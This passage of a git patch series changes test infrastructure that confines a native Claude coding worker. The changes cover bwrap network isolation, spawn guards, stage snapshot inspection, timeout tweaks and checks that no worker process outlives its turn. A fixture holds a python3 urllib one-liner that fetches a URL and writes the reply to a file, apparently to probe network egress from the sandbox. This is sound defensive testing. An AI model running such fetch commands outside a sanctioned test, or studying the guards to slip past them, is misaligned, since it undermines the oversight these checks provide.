PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(75_000), }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr).toBe(0); @@ -58,4 +58,4 @@ test.each(["strict", "governed"] as const)("ordinary %s spawn preserves native h expect(result.refreshCancelled, "NATIVE_ABORT_CLOSES_ACTUAL_HOST_REFRESH").toBe(true); expect(result.cancellationRetainedHostBytes).toBe(true); expect(result.cancellationReleasedLock).toBe(true); -}); +}, 90_000); diff --git a/packages/ui-backend-claude/tests/provider-history.test.ts b/packages/ui-backend-claude/tests/provider-history.test.ts index b8935e2c71..62f57698d8 100644 --- a/packages/ui-backend-claude/tests/provider-history.test.ts +++ b/packages/ui-backend-claude/tests/provider-history.test.ts @@ -3,7 +3,7 @@ import { join } from "node:path"; import { body, captureOffline, history, identical, identicalSystemPromptOptions, main, messages, noInternalNotes, pairs, system, type Captures } from "../../../tests/helpers/provider-history.js"; let captures: Captures; -beforeAll(async () => { captures = await captureOffline(join(import.meta.dir, "fixtures/provider-history-probe.ts")); }, 180_000); +beforeAll(async () => { captures = await captureOffline(join(import.meta.dir, "fixtures/provider-history-probe.ts"), 300_000); }, 330_000); test("Claude captures three real resumed interactive turns and a tool result", () => { for (const [name, capture] of Object.entries(captures)) { diff --git a/tests/claude-worker.test.ts b/tests/claude-worker.test.ts index 905c4f55c8..1d2197aa7e 100644 --- a/tests/claude-worker.test.ts +++ b/tests/claude-worker.test.ts @@ -51,7 +51,7 @@ test("ordinary Claude worker protects policy bytes, applies and indexes permitte const effects = r.appEvents.filter((e: any) => e.event_type === "brain_application_change").map((e: any) => JSON.parse(e.payload).v.path); expect(effects).toEqual(["notes/worker-raft.md", "assets/raft-mask.png"]); expect(r.survivors, "no worker or descendant survives a completed turn").toEqual([]); -}); +}, 120_000); test("aborting an actual Claude mid-tool removes its detached descendant and history has no phantom Markdown effect", async () => { const r = await probe("abort"); expect(Math.max(0, ...r.diagnostics.atAbort.native.map((file: { bash: number }) => file.bash)), diff --git a/tests/helpers/provider-history.ts b/tests/helpers/provider-history.ts index 788923b3d7..25ef08cf3f 100644 --- a/tests/helpers/provider-history.ts +++ b/tests/helpers/provider-history.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../scripts/test-deadlines"; import { expect } from "bun:test"; import { mkdtempSync, readFileSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -81,7 +82,7 @@ export function noInternalNotes(capture: HistoryCapture): void { } } -export async function captureOffline(probe: string): Promise { +export async function captureOffline(probe: string, hangMs = 170_000): Promise { const root = resolve(import.meta.dir, "../.."); const scratch = mkdtempSync(join(tmpdir(), "odysseus-provider-history-")); const child = Bun.spawn(["bwrap", "--unshare-net", "--bind", "/", "/", "--proc", "/proc", "--dev", "/dev", @@ -89,7 +90,7 @@ export async function captureOffline(probe: string): Promise { cwd: root, env: { PATH: process.env.PATH!, LANG: "C.UTF-8", TMPDIR: tmpdir(), HOME: join(scratch, "home"), PI_CODING_AGENT_DIR: join(scratch, "pi-agent") }, stdout: "pipe", stderr: "pipe", }); - const deadline = setTimeout(() => child.kill(), 170_000); + const deadline = setTimeout(() => child.kill(), watchdogMs(hangMs)); try { const [out, err, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, err || out).toBe(0); From e0a846eb4299178029807ebbb573382c9a06394a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 22:34:00 +0000 Subject: [PATCH 124/187] fix(test): inspect exact ordinary managed stage input roles --- scripts/native-proof/hosted-app-child.ts | 27 +++++- scripts/test-native-guard.ts | 116 ++++++++++++++++++++--- tests/native-managed-inspection.test.ts | 9 +- tests/native-strict-admission.test.ts | 57 ++++++++--- 4 files changed, 178 insertions(+), 31 deletions(-) diff --git a/scripts/native-proof/hosted-app-child.ts b/scripts/native-proof/hosted-app-child.ts index 6f7220869d..3fa0a819c9 100644 --- a/scripts/native-proof/hosted-app-child.ts +++ b/scripts/native-proof/hosted-app-child.ts @@ -1,6 +1,7 @@ import "../test-network-child-preload.ts"; import { appendFileSync, existsSync, readFileSync, renameSync, writeFileSync, statSync } from "node:fs"; -import { join } from "node:path"; +import { dirname,join } from "node:path"; +import {AsyncLocalStorage} from "node:async_hooks"; const [source, dir, brain, socket, selectedBackend = "claude"] = process.argv.slice(2); const dbPath = join(dir!, "ui.db"); @@ -197,6 +198,28 @@ const egressOrigin = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch(request) const egressCommand = (attempt: number) => `/usr/bin/python3 -I -S -c 'import sys,urllib.request;sys.stdout.write(urllib.request.urlopen(sys.argv[1],timeout=5).read().decode())' http://localhost:${egressOrigin.port}/voyage-${attempt} > .brain/egress-${attempt}.txt`; const inference = selectedBackend === "pi" ? startPiNativeInference(join(dir!,"pi"),event,authorityCommand,egressCommand, APPLY_TIMING ? { count: SCHERIA_LOGS, path: scheriaPath, content: scheriaContent, sha256 } : undefined, OBSERVATION_TIMING ? { cells: ithacaSteps() } : undefined) : undefined; +// Keep the real managed allocator and its result. Its private sources are +// inspectable only through the live manager ticket, until output cleanup. +const {nativeScriptedService,registerNativeFixtureManagedKeeper,registerNativeFixtureMaintenanceGit}=await import("../test-native-guard.ts"); +const leaveFixtureAuthority=nativeScriptedService(inference?.origin??egressOrigin.url.origin,{fixtureRoots:[brain!,dir!]}); +const nativeOutput=await import(join(source!,"packages/ui-sdk/src/server/worker-native-output.ts")); +const prepareNativeOutput=nativeOutput.prepareNativeWorkerOutput; +spyOn(nativeOutput,"prepareNativeWorkerOutput").mockImplementation(async(...args:any[])=>{ + const output=await prepareNativeOutput(...args);let release:()=>void; + try{release=await registerNativeFixtureManagedKeeper(output.output.storage,output.view);}catch(error){await output.cleanup();throw error;} + return {...output,async cleanup(){try{await output.cleanup();}finally{release();}}}; +}); +const maintenanceGit=await import(join(source!,"packages/ui-server/src/brain/maintenance-git.ts")); +const prepareMaintenanceGit=maintenanceGit.prepareMaintenanceGit; +const gitPreparation=new AsyncLocalStorage(); +spyOn(maintenanceGit,"prepareMaintenanceGit").mockImplementation((...args:any[])=>gitPreparation.run(args[1],()=>prepareMaintenanceGit(...args))); +const maintenanceWorker=await import(join(source!,"packages/ui-sdk/src/server/maintenance-worker.ts")); +const prepareGitInput=maintenanceWorker.prepareMaintenanceGitInput; +spyOn(maintenanceWorker,"prepareMaintenanceGitInput").mockImplementation(async(...args:any[])=>{ + const spec=await prepareGitInput(...args),output=gitPreparation.getStore(); + if(output&&args[0].output?.storage===output.output.storage&&spec?.source===join(dirname(output.output.source),"git-adapter"))registerNativeFixtureMaintenanceGit(output.output.storage,output.view,spec); + return spec; +}); if (inference) process.env.BRAIN_UI_PI_CREDENTIAL_ORIGINS = inference.origin; const backend = inference ? createPiBackend({brainPath:brain!,model:inference.model,loadExtensions:false,log(level: string,message: string){event("backend_log",{level,message});}}) : createClaudeBackend({ brainPath: brain, @@ -331,7 +354,7 @@ try { let closing = false; process.on("SIGTERM", async () => { if (closing) return; closing = true; - try { server.stop(true); await app.close(); inference?.close(); egressOrigin.stop(true); event("fixture_warnings",{messages:observability.logs.records().map((log:any)=>({severity:log.severityText,body:log.body}))}); event("closed"); process.exit(0); } + try { server.stop(true); await app.close(); leaveFixtureAuthority(); inference?.close(); egressOrigin.stop(true); event("fixture_warnings",{messages:observability.logs.records().map((log:any)=>({severity:log.severityText,body:log.body}))}); event("closed"); process.exit(0); } catch (error) { event("close_error", { error: String(error) }); process.exit(1); } }); } catch (error) { diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 71271ab9c5..91165ca624 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -157,9 +157,10 @@ function nativeExecutableCandidates(command: string, args: readonly unknown[]): export function isNativeClaude(command: string, args: readonly unknown[] = [], options: SpawnContext = {}): boolean { if (discoveryFailed) refuse("installed SDK runtime discovery failed"); + const managedDirectories=nativeManagedCandidateDirectories([command,...args.filter((value):value is string=>typeof value==="string")]); for (const value of nativeExecutableCandidates(command, args)) { let path: string; - try { path = resolveExecutable(value, options); } catch(error) { + try { path = resolveExecutable(managedDirectories.get(value)??value, options); } catch(error) { if(["ENOENT","ENAMETOOLONG","ENOTDIR","ELOOP","NOT_REGULAR_FILE"].includes((error as NodeJS.ErrnoException).code??""))continue; nativeReceipt({kind:"native-offline-candidate-metadata",head:nativeTestHead(),phase:"resolve",errno:["EACCES","EPERM","ENOTDIR","ELOOP","ENAMETOOLONG","ENOENT"].includes((error as NodeJS.ErrnoException).code??"")?(error as NodeJS.ErrnoException).code:"unknown"}); refuse("native executable metadata is unavailable"); @@ -1175,7 +1176,7 @@ interface KeeperInspection { mount: string; snapshot: string; refresh(): void } const guardedChildren = new Map(); const bootstrapDiagnostics=new Map(); export function nativeBootstrapStatus(pid:number){return bootstrapDiagnostics.get(pid);} -const fixtureKeepers = new Map(); +const fixtureKeepers = new Map; claim():void; dispose(): void }>(); interface NativeFixtureRtkSpawn { start:string; launch:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch; expected:readonly string[]; liveExecs:()=>ReadonlyMap } const nativeFixtureRtkSpawns=new Map(); /** Host-only observation; a payload cannot mint an owned spawn or audit handle. */ @@ -1310,8 +1311,9 @@ export function registerNativeFixtureKeeper(storage: FixtureKeeper): () => void catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("fixture keeper provenance is unavailable"); } } /** Copy only bounded manager-reader bytes, never directly open the worker-private tree. */ -export async function captureNativeFixtureStage(manager:Pick,"listStage"|"statStage"|"readStage">,id:string,uid:number,maximum:number,snapshot:string):Promise { - let count=0,total=0; +export async function captureNativeFixtureStage(manager:Pick,"listStage"|"statStage"|"readStage">,id:string,uid:number,maximum:number,snapshot:string):Promise> { + let count=0,total=0;const stamps=new Map(); + const root=await manager.statStage(id,"",uid);if(!root||root.kind!=="directory")throw Error("Stage inspection root unavailable");stamps.set("",root.stamp); if(!Number.isSafeInteger(maximum)||maximum<=0)throw Error("Invalid stage inspection bound"); const walk=async(relative:string,depth:number):Promise=>{ if(depth>256)throw Error("Stage inspection depth exceeded"); @@ -1320,6 +1322,7 @@ export async function captureNativeFixtureStage(manager:Pick200000)throw Error("Stage inspection entry bound exceeded"); const name=row.path.slice(relative?relative.length+1:0); if(!name||name==="."||name===".."||name.includes("/")||name.includes("\0")||names.has(name)||row.path!==(relative?relative+"/":"")+name)throw Error("Invalid stage inspection name");names.add(name); + stamps.set(row.path,row.stamp); const before=await manager.statStage(id,row.path,uid); if(!before||before.stamp!==row.stamp||before.kind!==row.kind)throw Error("Stage inspection changed"); const target=join(snapshot,row.path); @@ -1337,8 +1340,35 @@ export async function captureNativeFixtureStage(manager:Pick(); +const ordinaryManagedStages=new WeakMap(); +/** Source-discovered stage layout; overlay bookkeeping never becomes an input role. */ +export function nativeStageDirectoryRoles():{layout:string[];bindSources:string[]} { + const stage=readFileSync(join(ROOT,"packages/ui-sdk/src/server/native-brain-stage.ts"),"utf8"),git=readFileSync(join(ROOT,"packages/ui-server/src/brain/maintenance-git.ts"),"utf8"); + const layout=/for name in \(([^)]+)\):\n os\.mkdir/.exec(stage),adapter=/const root = join\(dirname\(outputs\.output\.source\), "([^"]+)"\)/.exec(git); + if(!layout||!adapter)throw Error("Production stage layout unavailable"); + const names:unknown=JSON.parse("["+layout[1]+"]");if(!Array.isArray(names)||!names.every(name=>typeof name==="string"&&/^[a-z-]+$/.test(name))||!names.includes("merged")||adapter[1]!=="git-adapter")throw Error("Production stage layout changed"); + return {layout:[...names,adapter[1]],bindSources:["merged",adapter[1]]}; +} +/** Called only with the real maintenance-Git preparation's returned spec. */ +export function registerNativeFixtureMaintenanceGit(storage:object,view:object,spec:{source:string;target:string}):void { + const owner=ordinaryManagedStages.get(storage);if(!owner||owner.view!==view)refuse("ordinary managed fixture Git owner unavailable");owner.git(spec); +} +/** Metadata only; bytes are copied by the ordinary same-UID inspection path. */ +function ordinaryStageManifest(root:string,maximum:number):string { + const rows:string[]=[];let entries=0,bytes=0; + const visit=(path:string)=>{ + if(++entries>200000)throw Error("Stage inspection entry bound exceeded"); + const info=lstatSync(path,{bigint:true}); + if(!info.isDirectory()&&!info.isFile()&&!info.isSymbolicLink())throw Error("Unsupported stage node"); + if(info.isFile()){bytes+=Number(info.size);if(bytes>maximum)throw Error("Stage inspection byte bound exceeded");} + rows.push(`${path.slice(root.length)}:${info.dev}:${info.ino}:${info.mode}:${info.size}:${info.mtimeNs}:${info.ctimeNs}:${info.isFile()?createHash("sha256").update(readFileSync(path)).digest("hex"):""}`); + if(info.isDirectory())for(const name of readdirSync(path).sort())visit(join(path,name)); + }; + visit(root);return JSON.stringify(rows); +} /** Only a fixture's real acquired native output can declare this remote keeper. */ export async function registerNativeFixtureManagedKeeper(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView):Promise<()=>void> { const scope=scriptedRoute.getStore(),brain=view.brain,expected=join(dirname(brain),".brain-native","stages");let closed=false; @@ -1359,13 +1389,43 @@ export async function registerNativeFixtureManagedKeeper(storage:import("../pack const {nativeWorkerStartupInput}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts"); const {verifiedWorkerIdentity}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts"); const native=nativeWorkerStartupInput(view),id=basename(storage.mount),uid=verifiedWorkerIdentity(brain)?.workerUid; - if(uid===undefined)refuse("managed fixture keeper private reader is unavailable"); + if(uid===undefined){ + // Ordinary stages use the existing same-UID rule, not a manager capability + // that production intentionally reserves for separate-UID workers. + const anchor=join(storage.root,"merged"),snapshot=nativeFixtureDirectory("odysseus-keeper-inspection-"); + let manifest:string,gitManifest:string|undefined,gitAnchor:string|undefined,gitSnapshot:string|undefined; + const sameOwner=()=>validate()&&statSync(anchor).uid===nativeKernelIdentity().uid; + const ordinary=()=>{try{return sameOwner()&&ordinaryStageManifest(anchor,storage.allowanceBytes!)===manifest&&(!gitAnchor||ordinaryStageManifest(gitAnchor,storage.allowanceBytes!)===gitManifest);}catch{return false;}}; + const copy=(from:string,to:string)=>{const before=ordinaryStageManifest(from,storage.allowanceBytes!);for(const name of readdirSync(to))rmSync(join(to,name),{recursive:true,force:true});for(const name of readdirSync(from))cpSync(join(from,name),join(to,name),{recursive:true,dereference:false});if(ordinaryStageManifest(from,storage.allowanceBytes!)!==before)throw Error("Stage changed during inspection");return before;}; + let unregister:(()=>void)|undefined; + try{ + if(statSync(anchor).uid!==nativeKernelIdentity().uid)throw Error("Ordinary keeper owner differs"); + manifest=ordinaryStageManifest(anchor,storage.allowanceBytes!); + for(const name of readdirSync(anchor))cpSync(join(anchor,name),join(snapshot,name),{recursive:true,dereference:false}); + if(!ordinary())throw Error("Ordinary keeper changed during inspection"); + unregister=registerFixtureKeeper(storage as FixtureKeeper,undefined,snapshot,ordinary); + ordinaryManagedStages.set(storage,{view,git(spec){ + try{ + const role=nativeStageDirectoryRoles().bindSources[1]!; + if(!sameOwner()||spec.source!==join(storage.root,role)||spec.target!=="/tmp/brain-maintenance-git"||!lstatSync(spec.source).isDirectory()||lstatSync(spec.source).uid!==nativeKernelIdentity().uid)throw Error("Foreign maintenance Git preparation"); + gitAnchor=spec.source;gitSnapshot??=nativeFixtureDirectory("odysseus-keeper-inspection-"); + // Preparation is an explicit new inspection point; old snapshots never + // silently become current during classification or beforeLaunch. + manifest=copy(anchor,snapshot);gitManifest=copy(gitAnchor,gitSnapshot); + if(!ordinary())throw Error("Stage changed after preparation"); + fixtureKeepers.get(storage.namespacePid)!.bindSources.set(join(storage.mount,role),gitSnapshot); + }catch{return refuse("ordinary managed fixture Git snapshot is unavailable");} + }}); + }catch(error){rmSync(snapshot,{recursive:true,force:true});if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("ordinary managed fixture keeper snapshot is unavailable");} + usedManagedKeepers.add(storage);return ()=>{closed=true;ordinaryManagedStages.delete(storage);try{unregister?.();}finally{if(gitSnapshot)rmSync(gitSnapshot,{recursive:true,force:true});}}; + } let ticket:{fd:number;close():void},snapshot:string; try{ticket=await native.manager.attestStage(id);}catch{return refuse("managed fixture keeper snapshot is unavailable");} try{snapshot=nativeFixtureDirectory("odysseus-managed-inspection-");}catch{ticket.close();return refuse("managed fixture keeper snapshot is unavailable");} - let ticketBytes:Buffer,stamp:ReturnType; + let ticketBytes:Buffer,stamp:ReturnType,stageStamps:ReadonlyMap|undefined; const attested=()=>{try{ if(!validate())return false; + if(stageStamps)for(const[path,expected]of stageStamps){const actual=lstatSync(join(storage.root,"merged",path),{bigint:true});if(`${actual.ino}:${actual.size}:${actual.mtimeNs}:${actual.ctimeNs}`!==expected)return false;} const now=fstatSync(ticket.fd);if(now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size||!readFileSync(`/proc/self/fd/${ticket.fd}`).equals(ticketBytes))return false; const value=JSON.parse(ticketBytes.toString("utf8")),merged=statSync(join(storage.root,"merged"),{bigint:true}),checkpoint=statSync(view.root,{bigint:true}),ns=statSync(`/proc/${storage.namespacePid}/ns/mnt`,{bigint:true}); return value.kind==="brain-worker-stage"&&value.id===id&&value.appUid===nativeKernelIdentity().uid&&value.keeper.pid===storage.namespacePid&&value.keeper.start===storage.namespaceStart&&value.keeper.mountNamespaceInode===String(ns.ino)&&value.root.path===join(storage.mount,"merged")&&value.root.dev===String(merged.dev)&&value.root.ino===String(merged.ino)&&value.checkpoint.path===view.root&&value.checkpoint.dev===String(checkpoint.dev)&&value.checkpoint.ino===String(checkpoint.ino)&&value.checkpoint.uuid===native.checkpoint.uuid&&value.allowanceBytes===storage.allowanceBytes; @@ -1373,13 +1433,13 @@ export async function registerNativeFixtureManagedKeeper(storage:import("../pack try{ stamp=fstatSync(ticket.fd);if(!stamp.isFile()||stamp.uid!==0||stamp.nlink!==0||stamp.size>65536||(stamp.mode&0o777)!==0o444)throw Error("Invalid sealed stage authority"); ticketBytes=readFileSync(`/proc/self/fd/${ticket.fd}`);if(!attested())throw Error("Stage authority differs"); - await captureNativeFixtureStage(native.manager,id,uid,storage.allowanceBytes!,snapshot); + stageStamps=await captureNativeFixtureStage(native.manager,id,uid,storage.allowanceBytes!,snapshot); if(!attested())throw Error("Stage authority expired during inspection"); }catch{ticket.close();rmSync(snapshot,{recursive:true,force:true});return refuse("managed fixture keeper snapshot is unavailable");} let unregister:()=>void;try{unregister=registerFixtureKeeper(storage as FixtureKeeper,attested,snapshot);}catch(error){ticket.close();rmSync(snapshot,{recursive:true,force:true});if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("managed fixture keeper provenance is unavailable",{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"});} usedManagedKeepers.add(storage);return ()=>{closed=true;try{unregister();}finally{ticket.close();rmSync(snapshot,{recursive:true,force:true});}}; } -function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean, managedSnapshot?:string): () => void { +function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean, managedSnapshot?:string,ordinaryStage?:()=>boolean): () => void { const start = processStart(storage.namespacePid); let pid = storage.namespacePid, observed = false; for (let depth = 0; pid > 1 && depth < 64; depth++) { @@ -1388,7 +1448,7 @@ function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean, man if (!parent) break; pid = Number(parent[1]); } const ns = `/proc/${storage.namespacePid}/ns/mnt`, namespace = statSync(ns, { bigint: true }); - const authority=()=>managed?managed():observed; + const authority=()=>managed?managed():ordinaryStage?ordinaryStage():observed; if (!authority() || storage.namespaceStart !== start || namespace.ino === statSync("/proc/self/ns/mnt", { bigint: true }).ino || !new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(storage.root) || FORBIDDEN_BIND_ROOTS.has(resolve(storage.mount))) refuse("fixture keeper provenance is unavailable",managed?{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}:undefined); if(Number(statfsSync(storage.root).type)!==0x01021994)refuse("fixture keeper output is not private tmpfs"); @@ -1404,9 +1464,9 @@ function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean, man let disposed=false; const live = () => { try { const now=statSync(ns,{bigint:true}); return !disposed && processStart(storage.namespacePid)===start && now.dev===namespace.dev && now.ino===namespace.ino && statSync(namespaceRoot,{bigint:true}).dev===info.dev && statSync(namespaceRoot,{bigint:true}).ino===info.ino && authority(); } catch { return false; } }; let claimed=false; - const entry = { mount, snapshot, live, claim(){if(managed&&claimed)refuse("managed fixture keeper snapshot was already used");claimed=true;}, refresh() { + const entry = { mount, snapshot, live, ordinary:Boolean(ordinaryStage),bindSources:new Map([[mount,snapshot]]),managed:Boolean(managed||ordinaryStage), claim(){if((managed||ordinaryStage)&&claimed)refuse("managed fixture keeper snapshot was already used");claimed=true;}, refresh() { if (!live()) refuse("fixture keeper namespace is no longer live",managed?{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}:undefined); - if(managed){if(!managedSnapshot)refuse("managed fixture keeper snapshot is unavailable");return;} + if(managed||ordinaryStage){if(!managedSnapshot)refuse("managed fixture keeper snapshot is unavailable");return;} for (const name of readdirSync(snapshot)) rmSync(join(snapshot,name),{recursive:true,force:true}); for (const name of readdirSync(anchor)) cpSync(join(anchor,name),join(snapshot,name),{recursive:true,dereference:false}); }, dispose() { if(disposed)return;disposed=true;if(fixtureKeepers.get(storage.namespacePid)===entry)fixtureKeepers.delete(storage.namespacePid);closeSync(fd);rmSync(snapshot,{recursive:true,force:true}); } }; @@ -1564,6 +1624,38 @@ function nativeBwrapIndex(argv: readonly string[]): number { return -1; } +/** Only the production private-stage source role has a manager inspection view. */ +function nativeManagedCandidateDirectories(argv:readonly string[]):ReadonlyMap { + const found=new Map(); + const same=(value:string|undefined,path:string)=>{try{return !!value&&realpathSync(value)===realpathSync(path);}catch{return false;}}; + if(!same(argv[0],"/usr/bin/python3")||argv[1]!=="-I"||argv[2]!=="-S"||argv[3]!=="-c")return found; + const {WORKER_FILESYSTEM_FILTER_PROGRAM}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-filesystem-filter.ts") as typeof import("../packages/ui-sdk/src/server/worker-filesystem-filter"); + if(argv[4]!==WORKER_FILESYSTEM_FILTER_PROGRAM||!same(argv[5],"/usr/bin/nsenter"))return found; + // Discover the exact fixed prefix from production; changing its shape refuses. + const source=readFileSync(join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts"),"utf8"); + const rows=[...source.matchAll(/return filtered\(\[nsenter, ((?:"[^"]+", )+)String\(storage\.namespacePid\), "--", \.\.\.argv\]\)/g)]; + if(rows.length!==1)return found; + let prefix:string[];try{prefix=JSON.parse("["+rows[0]![1]!.replace(/, $/,"")+"]");}catch{return found;} + if(!prefix.every((word,i)=>argv[6+i]===word))return found; + const target=6+prefix.length, bwrap=target+2; + if(!/^[1-9][0-9]*$/.test(argv[target]??"")||argv[target+1]!=="--"||!same(argv[bwrap],"/usr/bin/bwrap"))return found; + const keeper=fixtureKeepers.get(Number(argv[target]));if(!keeper?.managed)return found; + const end=unknownBwrapPayload(argv,bwrap); + for(let i=bwrap+1;i+2{inspect();if(disposing)finish();},20);timer.unref(); const encoded=JSON.stringify(argv); const launchEnv:Record={...(options.env??process.env),...(outerAudit?.env??sharedAudit?.env??{})};delete launchEnv.BRAIN_NATIVE_RECEIPT; - const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,forSynchronousSpawn():GuardedPlan{if(!launchReady)return boundary;finish();return nativeUnknownBoundary(command,{...options,synchronous:true},workerUid,preserveProductPlan);},nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);try{launchReady?.afterSpawn(pid,()=>sharedAudit?.beforeLaunch());}catch{refuse("restriction cannot be enforced");}},beforeLaunch(){sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; + const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,forSynchronousSpawn():GuardedPlan{if(!launchReady)return boundary;finish();return nativeUnknownBoundary(command,{...options,synchronous:true},workerUid,preserveProductPlan);},nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);try{launchReady?.afterSpawn(pid,()=>sharedAudit?.beforeLaunch());}catch{refuse("restriction cannot be enforced");}},beforeLaunch(){nativeManagedCandidateDirectories(command);sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; }catch(error){cleanup();throw error;} } diff --git a/tests/native-managed-inspection.test.ts b/tests/native-managed-inspection.test.ts index 94861060af..e9bacfa709 100644 --- a/tests/native-managed-inspection.test.ts +++ b/tests/native-managed-inspection.test.ts @@ -3,13 +3,13 @@ import {mkdtempSync,mkdirSync,readFileSync,rmSync} from "node:fs"; import {join} from "node:path"; import ts from "typescript"; import {fixtureSources,nativeSdkLauncher} from "./helpers/native-launcher-inventory"; -import {captureNativeFixtureStage,nativeProductEnvironment} from "../scripts/test-native-guard"; +import {captureNativeFixtureStage,nativeProductEnvironment,nativeStageDirectoryRoles} from "../scripts/test-native-guard"; for(const mode of ["valid","wrong-uid","wrong-bytes","changed","outside","unsupported","over-bound"] as const)test(`managed inspection uses bounded private reader: ${mode}`,async()=>{ const root=mkdtempSync("/tmp/odysseus-stage-inspection-"); const metadata={path:mode==="outside"?"../loom.md":"loom.md",kind:mode==="unsupported"?"other":"file",mode:0o600,bytes:7,stamp:"fixed",inode:"1"}; let reads=0; - const manager={async listStage(){return [metadata];},async statStage(){return {...metadata,...(mode==="changed"&&++reads>1?{stamp:"changed"}:{})};},async readStage(){return {workerUid:21002,stream:new ReadableStream({start(c){c.enqueue(Buffer.from("Ithaca\n"));c.close();}}),completed:Promise.resolve({workerUid:mode==="wrong-uid"?21001:21002,bytes:mode==="wrong-bytes"?6:7})};}}; + const manager={async listStage(){return [metadata];},async statStage(_id:string,path:string){if(path==="")return {path:"",kind:"directory",stamp:"root"};return {...metadata,...(mode==="changed"&&++reads>1?{stamp:"changed"}:{})};},async readStage(){return {workerUid:21002,stream:new ReadableStream({start(c){c.enqueue(Buffer.from("Ithaca\n"));c.close();}}),completed:Promise.resolve({workerUid:mode==="wrong-uid"?21001:21002,bytes:mode==="wrong-bytes"?6:7})};}}; try{ const work=captureNativeFixtureStage(manager as never,"00000000-0000-4000-8000-000000000000",21002,mode==="over-bound"?6:1024,root); if(mode==="valid"){await work;expect(readFileSync(join(root,"loom.md"),"utf8"),"PRIVATE_READER_BYTES_INSPECTED").toBe("Ithaca\n");} @@ -64,3 +64,8 @@ test("native profile literal credentials are explicitly declared instead of rewr } expect(checked,"NATIVE_PROFILE_CREDENTIAL_DECLARATIONS_ARE_ACTUALLY_CHECKED").toBeGreaterThan(5); }); + +// Derived from the real manager stage and the real maintenance-Git producer. +test("every production stage sibling has an explicit bind-source disposition",()=>{ + expect(nativeStageDirectoryRoles(),"STAGE_SIBLING_ROLE_INVENTORY").toEqual({layout:["upper","work","merged","git-adapter"],bindSources:["merged","git-adapter"]}); +}); diff --git a/tests/native-strict-admission.test.ts b/tests/native-strict-admission.test.ts index aecb0827b8..92d699569a 100644 --- a/tests/native-strict-admission.test.ts +++ b/tests/native-strict-admission.test.ts @@ -1,5 +1,5 @@ import {expect,test} from "bun:test"; -import {mkdtempSync,writeFileSync,rmSync} from "node:fs"; +import {mkdtempSync,writeFileSync,rmSync,chmodSync} from "node:fs"; import {join} from "node:path"; import {watchdogMs} from "../scripts/test-deadlines"; import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; @@ -21,8 +21,9 @@ test("managed keeper readiness waits past an empty published file",async()=>{ }finally{clearTimeout(publish);rmSync(root,{recursive:true,force:true});} }); -const modes=["managed-snapshot-reuse","managed-ticket-owner","managed-ticket-before-launch","ordinary-other-owner","tree-inherited-released","managed-complete","managed-wrong-checkpoint","managed-fd-before-launch","managed-owner-released","managed-owner-before-launch","managed-reuse","managed-other-scope","managed-start","managed-namespace","managed-fd","managed-root","managed-unmanaged","managed-observed-unmanaged","complete","checkpoint-only","checkpoint-released","checkpoint-released-before-launch","forged","released","release-before-launch","alias","dotdot","writable","wrong-target","wrong-brain","duplicate","tree-declare-parent","tree-wrong-brain","tree-swapped","tree-alias","tree-outside","tree-parent","tree-replaced","tree-released"]; -for(const mode of modes)test(`strict native product plan admission: ${mode}`,async()=>{ +const 